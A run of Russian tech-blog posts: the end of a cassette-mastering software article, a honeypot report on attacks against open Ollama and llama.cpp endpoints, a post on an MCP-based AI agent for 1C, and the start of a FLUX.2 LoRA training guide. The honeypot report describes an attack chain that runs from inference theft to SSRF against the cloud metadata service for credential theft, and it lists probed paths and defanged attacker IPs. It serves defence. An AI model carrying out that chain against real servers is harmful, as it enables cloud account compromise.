Широкий стереобас	Crosstalk	Фазовые проблемы, «гуляющий» бас
True Peak ≥ 0 dBFS	Ограничение по пикам	Жёсткий аналоговый клиппинг

Наша задача: не сделать lo-fi-плагин, а наоборот — сохранить цифровую точность, сняв исключительно то, что сломает запись на конкретной ленте и деке.

Интерфейс: три шага от FLAC до WAV

Workflow простой:

Add music — drag & drop файла или папки (WAV, FLAC, AIFF, OGG).
Prepare — офлайн-анализ и автоматический мастеринг в фоновом потоке.
Export — 32-bit float WAV, опционально с калибровочными тонами в начале.

Тип ленты (Type I / II / IV) и длина кассеты (C60/C90/C120) задаются до обработки. Дека в текущем UI зафиксирована на Kenwood KX-1100G — той самой, с которой мы проводили эксперимент.

Кнопки Before / After включают A/B-предпрослушивание фрагмента (~45 s). Waveform показывает LUFS, True Peak и маркеры обработки: limiter, HF reduction, de-esser, clip warning.

Архитектура: офлайн-процессор, а не realtime-эффект

CassetteMaster — легковесный офлайн-процессор. Вся тяжёлая работа идёт в worker thread, UI не блокируется. Ядро — статическая библиотека cassette_core, общая для GUI-приложения, опционального CassetteBurner и VST3/AU-плагина.

Поток при нажатии Prepare

AudioFileLoader загружает файл в AudioBuffer<float>.
EssentiaAnalyzer::extractFeatures строит структуру AudioFeatures.
CassetteProfile::forRecording(KenwoodKX1100G, tapeType) задаёт потолки LUFS/TP/HF.
AdaptiveMasteringProcessor::process вызывает планировщик, опционально ODG loop, затем CassetteAutoMaster::processTrack.
ProcessingDiagnostics рисует маркеры на waveform и пишет лог.
UI обновляет панель «After» и статус Ready to export.

Шаг 1. Офлайн-анализ

Когда вы перетаскиваете FLAC в окно, движок вычисляет карту параметров — не для красоты метров, а для принятия решений планировщиком.

Loudness и пики: integrated LUFS (EBU R128-подобный LoudnessMeter), True Peak с oversampling (TruePeakMeter), crest factor, loudness range.

Спектр: доли энергии LF/MF/HF, stereo correlation, LF stereo correlation, ширина стереобазы.

Психоакустика (PsychoacousticMetrics, 24 полосы Bark):

roughness — «грубость» верха (модуляция 20–300 Hz);
sharpness (DIN 45692);
hfAboveMaskingDb — энергия ВЧ выше порога маскирования;
streamingRingingIndex — «звонкость» стримингового мастера;
hfTamerStrength — рекомендуемая глубина HF prep (0…1).

Essentia подключается опционально (CASSETTE_BUILD_ESSENTIA); без неё работает встроенный fallback по BS.1770.

Шаг 2. Умный планировщик

Приложение не обрабатывает все треки одинаково. Класс CassetteMasteringPlanner — сердце автоматизации.

Сначала вычисляется Tape Threat Score (0…1): взвешенная сумма превышений LUFS/TP над потолком профиля, roughness, sharpness, HF above masking, ringing index, низкой LF correlation, высокого HF energy ratio, клиппинга.

Для Kenwood KX-1100G score умножается на (1 − autoPrepRelief), где autoPrepRelief = 0.18 — планировщик менее агрессивен, чем для «голых» профилей IEC.

Шаг 3. Цепочка DSP

Реализация — CassetteAutoMaster::processTrack. Сигнал проходит через кастомный граф обработки:

Инфра-HPF (~25 Hz)

Отрезаем суб-низкие частоты, которые дека всё равно не запишет, но которые бесполезно насыщают магнитный слой. В режиме hot/clean отключён — на peaky материале после HPF limiter давал заметное проседание LUFS.

Side LF mono

Переводим сигнал в Mid/Side. В канале Side отрезаем всё ниже ~120 Hz. Бас становится монофоническим — меньше crosstalk на кассетной головке.

Adaptive HF Tamer

Динамический эквалайзер в полосе 4.5–14 kHz. Если наступает критический пик энергии на ВЧ, который вызовет self-erasure, tamer мягко «присаживает» эту частоту. На спокойном материале прозрачен.

Roughness De-Esser

Борется со специфическим «звоном» цифровых лимитеров — без глобального low-pass.

True Peak Limiter + Post-chain loudness trim

Integrated LUFS и True Peak — два разных ограничения. На кассете важны оба.

Для hot/clean, когда горячие и LUFS, и TP, берётся менее агрессивный из двух gain — чтобы limiter не «съедал» лишние LU.

После limiter/HF chain измеряется LUFS. Если источник был «горячим», но выход ниже cap — makeup (до +4.5 dB). Если выше cap — лёгкий cut. Для тихих источников boost не применяется.

Итеративный цикл до 4 проходов с re-limit только на full prep path.

Физика → DSP

Физическое явление	Ответ CassetteMaster
Насыщение ленты (Jiles–Atherton)	Gain staging к maxIntegratedLUFS, soft clip только Type I / lo-fi
Self-erasure / HF bias	Adaptive HF Tamer, Side HF cut
Crosstalk	Side LF mono (HPF Side < 120–150 Hz)
Head gap + 4.76 cm/s	Side HF cut по профилю
Inter-sample peaks	True Peak meter + limiter

Профили ленты и Kenwood KX-1100G

Профили заданы в CassetteProfile. Для Kenwood — applyKenwoodKX1100GTuning: без эмуляции Dolby HX-Pro, расширенный HF headroom, повышенный biasReductionOnHf на Type II.

Kenwood +	max LUFS	TP ceiling
Type I	−11.0	−0.8 dBFS
Type II	−11.5	−0.5 dBFS
Type IV	−11.0	−0.2 dBFS

Mixtape: папка → Side A / Side B

Перетащите папку с альбомом — программа сканирует аудио, сортирует имена natural sort, считает длительность с gap 2 s между треками.

Если материал не помещается на C60/C90/C120 — greedy packing на несколько кассет:

Каждый трек проходит per-track mastering, затем сводится на timeline стороны.

Тест на живом материале: Charli XCX

Для регрессии DSP — fixture прямо в CI: 90-секундный фрагмент Charli XCX — SS26 Rock Music.

	Before	After
Integrated LUFS	−9.86	−10.80
True Peak	+0.15 dBFS	−0.80 dBTP
Plan	—	KX-1100G hot/clean

Планировщик корректно выбрал hot/clean — только level + limiter, без HF prep. Результат укладывается в cap Kenwood Type I (−11 LUFS), TP строго на ceiling.

Почему это важно: в ранних версиях тот же трек «перегашивался» до ~−14 LUFS — limiter и infra-HPF работали в связке и съедали 3–4 dB энергии без необходимости. Новая архитектура устранила перегас, сохранив безопасные пики.

Заключение

CassetteMaster — специализированный tape-oriented mastering, а не универсальный loudness maximizer. Программа сочетает:

объективный и психоакустический анализ стриминговых мастеров;
автоматический выбор глубины обработки — от «только level + TP» до полного HF/LF prep;
профили ленты и деки с физически мотивированными потолками LUFS/TP/HF;
прозрачный DSP с post-chain loudness trim и защитой от двойного перегаса;
mixtape workflow для альбомов и папок;
verifiable quality через автотесты и fixture реального pop-трека.

Спасибо за чтение!

Денис Попков

KMP разработчик в «Black Bricks»

Если вы нашли неточности/ошибки в статье или просто хотите дополнить её своим мнением — то прошу в комментарии! Или можете написать мне в Telegram. Также подписывайтесь на мой ТГ-канал. Там пишу про свои будни, кассеты и винил :>

Кто ворует ваш GPU: атаки на открытые LLM-эндпоинты (Ollama, llama.cpp) — и при чём тут кража облачных ключей

fox52 — Wed, 10 Jun 2026 18:05:50 +0000

Часть 2 серии про атаки на AI-инфраструктуру. В первой части мы поймали на ловушку сканер, который встроил разведку MCP (Model Context Protocol — протокол инструментов для агентов) в обычный мультипротокольный скан. Тогда речь шла о слое агентов и инструментов. Сегодня спускаемся на уровень ниже — к самому inference-слою: открытым серверам Ollama и llama.cpp, на которых крутятся модели. И тут картина мая 2026-го получилась куда интереснее, чем «просто сканируют».

Коротко тезис: открытый Ollama — это бесплатный GPU для атакующего, и охота за таким compute давно поставлена на поток. Но за май наша сеть ханипотов (приманки в DE/US/RU) зафиксировала не только воровство инференса, а нечто новое — использование LLM-эндпоинта как SSRF-плацдарма для кражи облачных учёток. Разберём по данным.

(Про «открытые AI-сервера без аутентификации» как явление подробно — в части 1, повторяться не буду; здесь — про то, что с ними делают.)

Откуда данные

У нас развёрнута сеть приманок (honeypot) в трёх странах. Среди прочих сервисов — фейковый Ollama API на стандартном порту 11434: он отвечает как настоящий Ollama (список моделей, OpenAI-совместимые эндпоинты), но ничего не исполняет, а пишет в лог каждый запрос: путь, тело, User-Agent, источник. За май на эту приманку прилетело ~75 300 запросов.

Это уже не шум. Это зрелая категория со своей таксономией, инструментарием и — что важнее всего — постоянными акторами, которых видно из месяца в месяц.

Анатомия атаки: что именно делают с открытым Ollama

Разложим классифицированные запросы по типу активности (доли округлены, от размеченной части трафика):

Тип	Доля	Что это значит
Сканирование	~95%	Массовый поиск открытых Ollama/llama.cpp в интернете
`inference_abuse`	~3.7%	Кража инференса: гоняют запросы к `/api/generate`, `/v1/chat/completions`
`model_abuse_external`	~0.8%	Попытки подгрузить/использовать сторонние модели
`ssrf_cloud_cred`	~0.5%	SSRF через LLM-эндпоинт → кража cloud-metadata кредов
`admin_probe`	~0.1%	Зондирование админских путей

95% — это, ожидаемо, разведка: интернет прочёсывают на предмет «а есть ли тут живая модель». Но дальше начинается интересное.

1. Кража инференса — экономика «бесплатного GPU»

Зачем кому-то чужой Ollama? Затем же, зачем чужой майнинг-риг. Inference больших моделей стоит денег — GPU-часы, электричество, API-токены. Открытый Ollama без авторизации — это бесплатный inference-as-a-service, который кто-то любезно выставил наружу. Атакующий находит его и начинает гонять через него свои нагрузки: генерацию текста под спам/фишинг/контент-фермы, обработку данных, прокси для своих сервисов.

Типичная последовательность в логах: сначала /api/tags (узнать, какие модели стоят), потом /v1/models, и если что-то живое — поток запросов в /v1/chat/completions и /api/generate. Самые частые эндпоинты за май:

/api/tags               8 131   ← инвентаризация моделей
/v1/chat/completions    3 102   ← OpenAI-совместимый inference
/v1/models              1 532
/props                  1 282   ← внимание: это llama.cpp, не Ollama
/api/generate             370
/api/show                  76

2. Сканируют не только Ollama — llama.cpp тоже

Строка /props (1 282 запроса) — маркер того, что охотятся не только за Ollama. /props — это эндпоинт сервера llama.cpp (llama-server), отдающий параметры загруженной модели. То есть сканеры держат в голове весь зоопарк self-hosted inference, а не один продукт. Если вы поднимали llama.cpp «на посмотреть» и забыли закрыть — вас тоже найдут.

А ещё рядом зондируют автоматизацию:

/rest/oauth2-credential/callback    62   ← n8n
/api/v1/webhook/test                62   ← n8n

Это пути n8n — платформы no-code-автоматизации, которую часто ставят рядом с локальной LLM для оркестрации AI-воркфлоу. Логика атакующего понятна: где открытый Ollama — там может быть и открытый n8n с креденшелами к десяткам сервисов.

3. Главная новость мая: SSRF через LLM → кража облачных ключей

Категория ssrf_cloud_cred — то, чего в прошлых месяцах не было. Идея в следующем: многие inference-фичи умеют ходить по URL (подгрузить модель, картинку, документ, дёрнуть webhook). Если эндпоинт принимает URL от пользователя и сервер бежит по нему сам — это классический SSRF. А первое, куда направляют SSRF в облаке, — это metadata-сервис 169.254.169.254, который отдаёт временные IAM-креды инстанса.

То есть схема эволюционировала:

Было (месяцами):   найти открытый Ollama → воровать inference (бесплатный GPU)
Стало (май):       найти открытый Ollama → SSRF на 169.254.169.254 → украсть cloud-креды → доступ ко всему облаку

Это качественный сдвиг: от кражи compute к компрометации инфраструктуры, на которой этот compute крутится. Доля пока небольшая (~0.5%), но это именно та активность, которая превращает «ну подумаешь, погоняли мою модельку» в «слили ключи от всего AWS-аккаунта».

Инструментарий: чем сканируют

Любопытная деталь — User-Agent’ы. Абсолютный лидер:

ollama/0.0.0 (amd64 linux) Go/go1.26.3        50 529 запросов
python-httpx/0.27.2                            8 972
Python/3.10 aiohttp/3.13.5                        703
axios/1.16.0                                      278
EchelonGraph-ShadowAIRadar-Verifier/1.0           218

Первое место — официальный Go-клиент Ollama. Сканеры не пишут свой HTTP-стек, а берут штатный клиент и используют его как массовый зонд: он уже умеет говорить на всех нужных эндпоинтах. Отдельно отметим EchelonGraph-ShadowAIRadar — это коммерческий сканер AI-активов (с честным +https://... в UA), который ходит по интернету и каталогизирует открытые AI-сервисы. Граница между «исследователь», «коммерческий разведчик» и «атакующий» здесь, как обычно, размытая.

Лонгитюд: одни и те же акторы из месяца в месяц

Самое ценное в долгом наблюдении — видно, что это не случайные боты, а устойчивые операторы. Топ источников за май:

IP (defanged)	Запросов (доля)	ASN / атрибуция
`37[.]19[.]210[.]21`	50 467 (~67%)	AS212238 Datacamp/CDN77 (вероятно VPN-exit)
`203[.]159[.]90[.]152`	19 112 (~25%)	AS210558 1337 Services GmbH (по открытым данным — экосистема Stark Industries)

Два IP — две трети и четверть всего трафика к приманке: это пара операторов, а не «весь интернет».

Второй IP — 203[.]159[.]90[.]152 — мы видим не первый месяц. В марте-апреле именно он доминировал в Ollama-абьюзе с ~125 000 запросов. Месяц спустя он по-прежнему активен. Это не «случайно прилетело» — это многомесячная кампания со стороны сети, которую открытые источники связывают с экосистемой Stark Industries (поставщик «пуленепробиваемого» хостинга). Первое место в мае, 37[.]19[.]210[.]21 (AS212238 Datacamp/CDN77), — вероятно, VPN-выход, прикрывающий реального оператора.

Вывод по тренду: атаки на LLM-инференс прошли путь сканирование → инвентаризация моделей → кража инференса → SSRF-кража облачных ключей, обзавелись специализированными сканерами и связкой «LLM + n8n». Это самостоятельная поверхность атаки, а не подвид «веб-сканов».

Что с этим делать (защита)

Если у вас есть self-hosted inference (Ollama, llama.cpp, vLLM, LocalAI, text-generation-webui и пр.):

Не выставляйте inference-порт в интернет. Ollama по умолчанию слушает 0.0.0.0:11434 без авторизации. Биндите на 127.0.0.1 или в приватную сеть; наружу — только через reverse-proxy с аутентификацией.
Поставьте auth. Перед Ollama/llama.cpp — nginx/Caddy с Basic-auth/mTLS или API-gateway. Сам Ollama auth «из коробки» не имеет.
Закройте SSRF-вектор. Если используете фичи с загрузкой по URL — фильтруйте назначение: блокируйте 169.254.169.254, link-local, RFC1918, localhost. На облаке — переходите на IMDSv2 (требует токен, ломает наивный SSRF) и ограничивайте hop limit.
Не забывайте про соседей. Рядом стоящие n8n, Jupyter, Grafana, MLflow — отдельная поверхность. Тот, кто нашёл ваш Ollama, проверит и их.
Мониторьте исходящие к metadata. Алерт на любой запрос к 169.254.169.254 от inference-сервиса — дешёвый и надёжный сигнал компрометации.
Проверьте себя снаружи. Shodan/Censys по product:Ollama или порту 11434 — посмотрите, не светитесь ли вы.

IOC (defanged)

# LLM-abuse акторы
203[.]159[.]90[.]152    AS210558 1337 Services GmbH (Stark-связанная сеть, по откр. данным), многомесячная кампания
37[.]19[.]210[.]21      AS212238 CDN77/Datacamp (вероятно VPN-exit)

# Сканер-фингерпринты (User-Agent)
ollama/0.0.0 (amd64 linux) Go/go1.26.3
EchelonGraph-ShadowAIRadar-Verifier/1.0

# Подозрительные пути на inference-приманке
/props                              (llama.cpp probe)
/rest/oauth2-credential/callback    (n8n probe)
/api/v1/webhook/test                (n8n probe)

Данные — агрегированная телеметрия сети ханипотов за май 2026. TLP:CLEAR. Продолжение следует: в инференс-слое ещё много неразобранного.

Развиваем ИИ-платформу в 1С

Wed, 10 Jun 2026 16:55:49 +0000

Привет! Я - Роман Коротаев, ресурсный руководитель направления 1С в компании Синимекс.

В этом материале хочу рассказать, как мы пришли к ИИ для 1С и что из этого вышло. Материал получился про попытку собрать полноценную ИИ-платформу для работы с учетными данными. Расскажу, зачем нам понадобился MCP, как мы связали его с 1С:Шина, почему отдельно уперлись в права доступа и как в итоге устроили агента внутри 1С. Также покажу, где видим место для skills, RAG и OCR, и что пока не стали отдавать модели на самостоятельное выполнение.

В конце 2024-ого - начале 2025-ого года я, наконец, начал присматриваться к большим языковым моделям и, как и многие, был полон скепсиса.

Я был в отпуске и первый опыт с только что вышедшей DeepSeek весьма удивил.

Модель вполне сносно писала шаблоны ЧТЗ и даже генерировала xml-скрипты bpmn-схем. Не с первого раза, понятно, но дотянуть до работающего варианта было возможно.

И я понял, что пора погружаться в тему серьёзно. Через пару месяцев подтянул к теме нашего архитектора 1С Дениса, научился оплачивать подписки, установил Cursor и дело пошло... :)

MCP-сервер на 1С:Шина

Разбираясь в теме function calling, tool use и MCP-серверов Денис предложил реализовать MCP на 1С:Шина. Кто не в курсе, 1С:Шина - это, по сути, платформа для разработки интеграционных приложений для баз 1С (и не только) на языке “1С:Предприятие.Элемент”. Это не язык 1С, но тоже на русском, похож на TypeScript.

Реализация MCP-сервера на 1С:Шина и размещение на нем функций (tools) облегчает задачу доступа к разным базам 1С предприятия без необходимости разработки и разворачивания дополнительных средств интеграции с выделенным сервером MCP.

Архитектура текущего решения представлена на схеме ниже.

Как это работает? На стороне 1С:Шина реализованы типовые endpoint сервера MCP. При вызове функции, ассоциируемой MCP-сервером с функциями 1С происходит вызов определенного кода на языке 1С в базах 1С.

Далее, на стороне 1С переданный код выполняется от лица переданного также пользователя и результат возвращается MCP-серверу.

Функции (tools, инструменты)

Что такое function calling? Представим себе функцию, написанную в конфигурации 1С на языке 1С, выполняющую какое-то простое действие. Например, простой SELECT по определенным условиям из таблицы. Тогда при правильно составленном запросе пользователя в чат ИИ “А что у нас по таким-то данным за прошлый год?”, LLM будет генерировать JSON с названием нужной функции и входящими параметрами. Дальше мы в 1С разбираем JSON, выполняем функцию и ответ возвращаем обратно в LLM, которая уже пользователю отвечает в удобном человеческом виде.

Вообще, разработке tools для MCP-сервера, работающего с бизнес-данными, можно посвятить отдельный материал. Здесь отмечу только, что важно проектировать инструменты именно с бизнес-ценностью. Например, у нас на демо-стенде есть mcp‑1c_margin_breakdown. Эта функция-запрос к регистру накопления 1С “ВыручкаИСебестоимостьПродаж” с детализацией по Подразделению, Менеджеру, Складу за период. При вызове функция позволяет LLM отвечать, например, на такой вопрос:

“Покажи топ-10 менеджеров по валовой прибыли и найди тех, у кого маржа ниже 10% за последний квартал”.

Использование корректно спроектированных инструментов — это критически важная часть, позволяющая избегать галлюцинаций LLM практически в полном объеме. LLM тут не выдумывает цифры сама и не имеет доступа к базе, она только вызывает инструменты и форматирует ответ.

Права доступа

Конечно, вопрос прав доступа к данным при выдаче информации от LLM к конечному пользователю очень важен. Без этого решение не может использоваться в реальных процессах на предприятии. В 1С есть определенная сложность в запуске headless-режима - 1С:Шина запускает код в базе 1С под техническим пользователем с эксклюзивными правами, которые не повторяют права каждого из бизнес-пользователей 1С. Уточню, в 1С используется Row Level Security, и эти правила для каждого пользователя (профиля пользователей) свои. То есть, 1С база будет выдавать данные сообразно правилам RLS этого технического пользователя, что нам решительно не подходит.

Тем не менее, вариант реализации запуска инструментов MCP от имени пользователя системы был найден и реализован средствами 1С.

Дальше уже дело техники: создаем токены доступа для каждого пользователя и пробрасываем их до MCP-сервера, идентифицируем пользователя по токену и передаем его в базы 1С при вызове tools. 1С отдает только доступные для этого пользователя данные.

MCP-сервер успешно заработал! LLM начала определять подключившегося пользователя, здороваться по имени (неожиданная фича), вызывать инструменты и формировать ответы.

Модель

Мы сразу определились, что будем использовать для своих решений локальные модели. Это безопасность конфиденциальных и персональных данных. В причины можно записать и независимость от внешних поставщиков, прежде всего иностранных. Хотя возможность подключить облачную модель, конечно, имеется. В итоге, используем gpt-oss-120b в локальном контуре и моделью довольны.

Агенты

Для тестирования MCP-сервера мы остановились на open-source агенте OpenCode. Также пробовали OpenWork от тех же авторов. Но OpenCode в десктопном варианте нам понравился больше, можем рекомендовать.

Кроме того, конечно, нужно было затаскивать агента в среду 1С - для работы обычного пользователя 1С это основной рабочий вариант использования.

Поэтому мы подключили еще одного нашего энтузиаста ИИ - разработчика Павла, который и начал делать агента с интерфейсной частью уже непосредственно в 1С.

При этом серверная часть агента реализована с использованием Pydantic AI.

Как работает серверная часть агента? 1С отправляет HTTP-запрос в бэкенд оркестратор. Вначале, сделана небольшая проверка на тематику запроса – прям уж сильно отвлеченные запросы к модели проходить не будут. Далее, организуется динамическая сборка системного промпта (prompt composer) и LLM в процессе первого запроса определяет необходимость вызова набора инструментов (MCP-tools или skills или сразу ответ пользователю).

А дальше уже идет цикл обращения к инструментам или навыкам с оценкой достаточности ответа самой моделью. Если ответ недостаточен, модель может вызвать новые инструменты (или те же с другими параметрами).

Конечно, есть защиты от зацикливания: ограничения на переиспользование одного и того же инструмента с теми же параметрами. И просто ограничение на количество шагов в цикле. Это ограничение настраиваемое.

Когда ответ устраивает LLM начинается обработка финализации ответа. Например, форматирование таблиц, проверка на сырой JSON в ответе пользователю и ряд других проверок.

Вся цепочка взаимодействия (запросы пользователя, агентский цикл, ответы LLM) агента логируется на стороне сервера и доступна из интерфейса 1С. Это сильно помогает при отладке работы агента.

Skills

Конечно, мы не стали отставать от современных реалий и реализовали навыки в агенте.

Есть централизованные инструменты (tools) на стороне mcp-сервера, а есть локальные навыки (skills) на стороне 1С-базы. Тулы и скилы :)

Для начала мы реализовали группу «инфраструктурных» навыков – это, к примеру, чтение объектов 1С по навигационной ссылке, чтение вложенных ссылок, чтение вложений к объекту и т.п. Эти навыки мы разместили непосредственно в коде агента 1С.

Следом появилась группа пользовательских навыков – это те, которые настраиваются и хранятся в конфигурации 1С (Хранилище значений 1С) или в виде файлов на диске. Обычно, пользовательские навыки имеют бизнес смысл, например local_find_purchase_documents (поиск документов «Приобретение товаров услуг» по заданным параметрам).

Для каждого заказчика набор пользовательских навыков нужно проектировать отдельно согласно требованиям. Это также справедливо и для инструментов MCP-сервера.

Приведем пример работы агента для конфигурации «1С:Документооборот».

1. Пользователь спрашивает агента: «Покажи, кто согласовывал договор №5589 и какие были комментарии?»;

2. Агент находит подходящий навык для поиска документа в базе 1С – это local_find_document_requests и ищет документ;

3. Далее, агент вызывает навык local_read_document_processing_route для извлечения данных из базы 1С по цепочке согласования;

4. Все навыки на стороне 1С выполняются в фоновом задании под текущим сеансом. То есть, доступ к данным определяется ролевой моделью текущего пользователя;

5. Полученные данные, включая этапы, участников, состояния документа, результаты и комментарии отправляются внутрь агента в LLM для формирования ответа пользователю;

6. Агент возвращает ответ пользователю в удобном структурированном виде.

UI для агента 1С

Павел начал с реализации фронта агента в обработке 1С в «ПолеHTMLДокумента». Вариант хороший и позволяющий создать функциональный и современно выглядящий интерфейс чата. При этом максимально гибкий. Отмечу, что чат отрисовывается нашим скриптом js, который и взаимодействует 1С.

В чате доступна следующая дополнительная функциональность:

Мультичат. Запоминаются ветки разговоров. Есть возможность параллельного запроса к агенту в диалогах.
Прикрепление файлов.
Возможность обрезать ветку по текущему сообщению.
Редактирование сообщения и отправка агенту. После редактирования ветка снизу обрезается.
Копирование сообщения, удаление сообщения.
Голосовой набор.
Экспорт диалога в HTML или PDF.

Также, в функциональность агента добавлен вывод диаграмм с интерактивными контекстными командами.

А спустя некоторое время коллеги посоветовали присмотреться к реализации чата с агентом через типовую функциональность “Обсуждений” в “Системе взаимодействия” в 1С. Сказано - сделано!

Такой вариант дает хорошие возможности по передаче контекста в агента и программированию предопределенных действий (контекстная команда) пользователя прямо в чате.

Хотя, конечно, вариант более ограниченный в разработке, чем полностью кастомный UI через «ПолеHTMLДокумента». Полагаю, актуальны будут оба варианта: будем смотреть на сценарии использования агента у заказчика.

RAG и OCR

Конечно, мы не могли обойти стороной тему RAG и связанную с ней тему OCR. Думаю, на любом предприятии, активно использующем 1С, необходимость в оцифровке, распознавании документации и семантическом поиске по ней будет как никогда актуальна. Здесь мы реализовали типовые пайплайны. Для OCR используем easyOCR. Для хранения векторов - Qdrant. Чанки готовим с помощью intfloat/multilingual-e5-base, реранкер BAAI/bge-reranker-base. Используем не только векторный поиск, но и поиск по метаданным. Взаимодействие с RAG и OCR реализовали через инструменты MCP.

Сценарии использования RAG видим следующие:

Во-первых, обогащение контекста для самого агента. Например, когда пользователь будет спрашивать у агента, в норме ли у нас маржинальность по новому направлению, агент должен понимать, что считается «нормой» именно для нас. И эту информацию агент сможет найти в RAG-хранилище.
Во-вторых, это работа с данными, которых просто нет в 1С. Скажем, подробные технические характеристики номенклатуры или руководства пользователя. Загрузив их в RAG, мы даём агенту возможность отвечать на вопросы вроде «подбери все насосы, которые могут работать с вязкими жидкостями и имеют сертификат для пищевой промышленности».
Ну и в-третьих, классический сценарий использования RAG — это хранение регламентов, правил предприятия и умный семантический поиск по этой базе знаний.

Что в итоге

На текущий момент мы видим контур нашего ИИ-решения, ИИ-платформы для 1С-заказчика прежде всего из:

MCP-сервер, реализованный на 1С:Шина или как самостоятельный сервис.
ИИ-Агент в конфигурации 1С или работающий на базе open-source решений.
Набор инструментов и навыков, спроектированный и реализованный под бизнес-задачи заказчика.
Опциональное RAG-хранилище.
Опциональный OCR-сервис оцифровки и распознавания документов.

Сессия вопросов и ответов

1. Что с безопасностью и персональными данными?

Предполагаем использование или локальных моделей LLM или провайдеров в РФ с соответствующими разрешениями. Реализацию DataMasking (слой для удаления чувствительных данных) пока не предполагаем. Ограничения к данным баз 1С на основе типовых профилей доступа 1С реализованы.

2. Ваш агент умеет сам писать код 1С и выполнять его потом? Ведь это и даст истинную свободу агенту!

Нет. Насколько нужна истинная свобода агента в учетных системах - вопрос дискуссионный :). Но такая функциональность рассматривается, например, в части вызова отчетов СКД. Генерировать код, изменяющий данные в базе - пока мы смотрим на этот сценарий с большой осторожностью.

3. Что будет, если пользователь спросит в чате чужую зарплату?

Первое. Если на уровне инструментов и навыков не реализованы функции выборки информации по зарплате, то агент физически не сможет показать эту информацию.

Далее, если функциональность чтения таких данных предусмотрена, то следующий барьер – сами права пользователя 1С в базах 1С. Если прав нет, то функции, выполняющиеся под текущим пользователем, не отдадут лишнюю информацию. Это уже определяется на уровне ролевой модели в базах 1С.

—

В принципе, на этом всё. Спасибо за внимание. Если сталкивались с такими задачами, поделитесь опытом в комментариях — будет интересно обсудить!

И, если было полезно, подписывайтесь на наш хаб.

Дообучаем FLUX.2 [klein] за час на одной видеокарте: LoRA, Diffusers и Gradio без лишней боли

Wed, 10 Jun 2026 16:50:15 +0000

FLUX.2 [klein] достаточно компактна, чтобы дообучать её на одной потребительской видеокарте. Прогон обучения LoRA для 4B-модели укладывается в 24 ГБ VRAM, занимает около часа на RTX 4090 и стоит примерно $0.50, если арендовать GPU. В этом гайде пройдём весь цикл: соберём датасет, настроим тренер, запустим обучение, загрузим результат в diffusers и завернём всё в Gradio-приложение, которое можно выложить как Hugging Face Space.

К концу у вас будет LoRA в формате .safetensors, которая научит klein конкретному стилю, персонажу, визуальному образу или поведению при редактировании. А ещё — несколько важных нюансов, от которых зависит, получится ли результат пригодным или превратится в кашу.

Здесь всё работает на открытых весах. FLUX.2-klein-base-4B распространяется под Apache 2.0, так что результаты обучения можно свободно использовать в своих проектах.

Собираем проект для Build Small Hackathon

Этот гайд — часть Build Small Hackathon, который проводят Gradio и Hugging Face, а Black Forest Labs выступает одним из спонсоров. Разработка идёт с 5 по 15 июня 2026 года. Есть два ключевых ограничения: используемая модель должна быть не больше 32B параметров, а проект нужно оформить как Gradio-приложение, размещённое на Hugging Face Space.

FLUX.2 [klein] хорошо ложится в эти требования. 4B-модель с большим запасом укладывается в лимит 32B, распространяется под Apache 2.0, так что на ней можно спокойно выпускать свои проекты, и запускается на GPU самого Space. LoRA — это способ сделать модель «своей»: добавить конкретный стиль или тип редактирования под выбранный трек, будь то решение реальной задачи для кого-то из знакомых в Backyard AI или намеренно странный проект для An Adventure in Thousand Token Wood.

Дальше в гайде мы обучим такую LoRA. В последнем разделе покажем, как завернуть её в Gradio-приложение, которое вы отправите на хакатон.

Почему для дообучения стоит взять klein

FLUX.2 [klein] выпускается в двух размерах — 4B и 9B. У каждого есть distilled-вариант на 4 шага и base-вариант на 50 шагов. Для обучения LoRA нам нужен base:

Возьмём для примера 4B-модель.

Она помещается. Веса занимают около 13 ГБ в bf16; прогон обучения LoRA укладывается в 24 ГБ, так что достаточно 4090 или L4.
Это правильная цель для обучения. Distilled-модели сжаты по числу шагов ради быстрого инференса; адаптер обучается на base-чекпоинте, но затем всё равно загружается поверх distilled-модели. Так быстрее, а в наших тестах обычно ещё и даёт лучшие результаты.

Если вам нужно только запустить готовую LoRA, обучать свою необязательно — на Hub уже есть LoRA от сообщества для klein. Обучать стоит тогда, когда нужен конкретный визуальный стиль, которого нет среди готовых вариантов.

Что понадобится

15–40 изображений в едином визуальном стиле: ваши работы, лицензированные фотографии или произведения из общественного достояния, например с Wikimedia Commons.
GPU примерно на 60 минут. RTX 4090 с 24 ГБ VRAM — оптимальный вариант.
Тренер. В этом гайде используется ostris/ai-toolkit — популярный тренер от сообщества с веб-интерфейсом без написания кода. Это не единственный вариант: подойдёт любой тренер, совместимый с klein.

Выберите свой вариант запуска

У ai-toolkit есть веб-интерфейс, поэтому YAML вручную редактировать не придётся, если только вам самим этого не хочется. Запустить можно двумя способами:

Вариант	Для кого лучше	Настройка
RunPod template	для большинства, около $0.50 за запуск	one-click deploy, UI запускается автоматически
Local UI	если у вас есть NVIDIA GPU на 24 ГБ+	`git clone` + `npm run build_and_start`, открыть `localhost:8675`

Правила для датасета и подписей ниже одинаковые в обоих вариантах. Если хотите сначала посмотреть интерфейс, у Ostris есть двухминутное walkthrough-видео.

Шаг 1. Собираем датасет

Стилевая LoRA — самый простой способ быстро получить хороший результат. Допустим, вы хотите собрать собственную sprite-LoRA вроде той, что показана выше. Подберите 15–40 изображений в одном визуальном стиле:

Что даёт стилевая LoRA: любой промпт начинает стабильно выдавать изображения в одном и том же визуальном стиле. На примере — результаты Limbicnation/pixel-art-lora, LoRA от сообщества для klein-4B под лицензией Apache 2.0: достаточно написать pixel art sprite, …, и стиль уже «вшит» в модель.

Сюжеты, ракурсы и композиции должны быть разнообразными. Не стоит повторять один и тот же фон.
Минимум 1024 px по длинной стороне.
Для каждого изображения нужна отдельная подпись в .txt с тем же именем файла: img (1).png → img (1).txt.

Подписывайте содержимое, а не стиль

Для стилевой LoRA подписи должны описывать только то, что находится на изображении, и ничего не говорить о стиле. Стиль — это именно то, что модель должна вывести сама.

Каждая подпись начинается с триггерного слова, после которого идёт описание объекта:

SPR1TE8. A knight in plate armor holding a sword, facing forward, plain background.
SPR1TE8. A fire-breathing dragon with spread wings, seen from the side.

Не пишите pixel art, 8-bit, retro game или sprite style. Если назвать стиль в подписи, модель научится опираться на это слово вместо того, чтобы вшить стиль в веса.

Выберите триггерное слово, которое не является настоящим словом и не пересекается со словарём модели: SPR1TE8, RISO_PR1NT, ZK_TOON. Используйте его в абсолютно одинаковом виде во всех подписях и в конфиге.

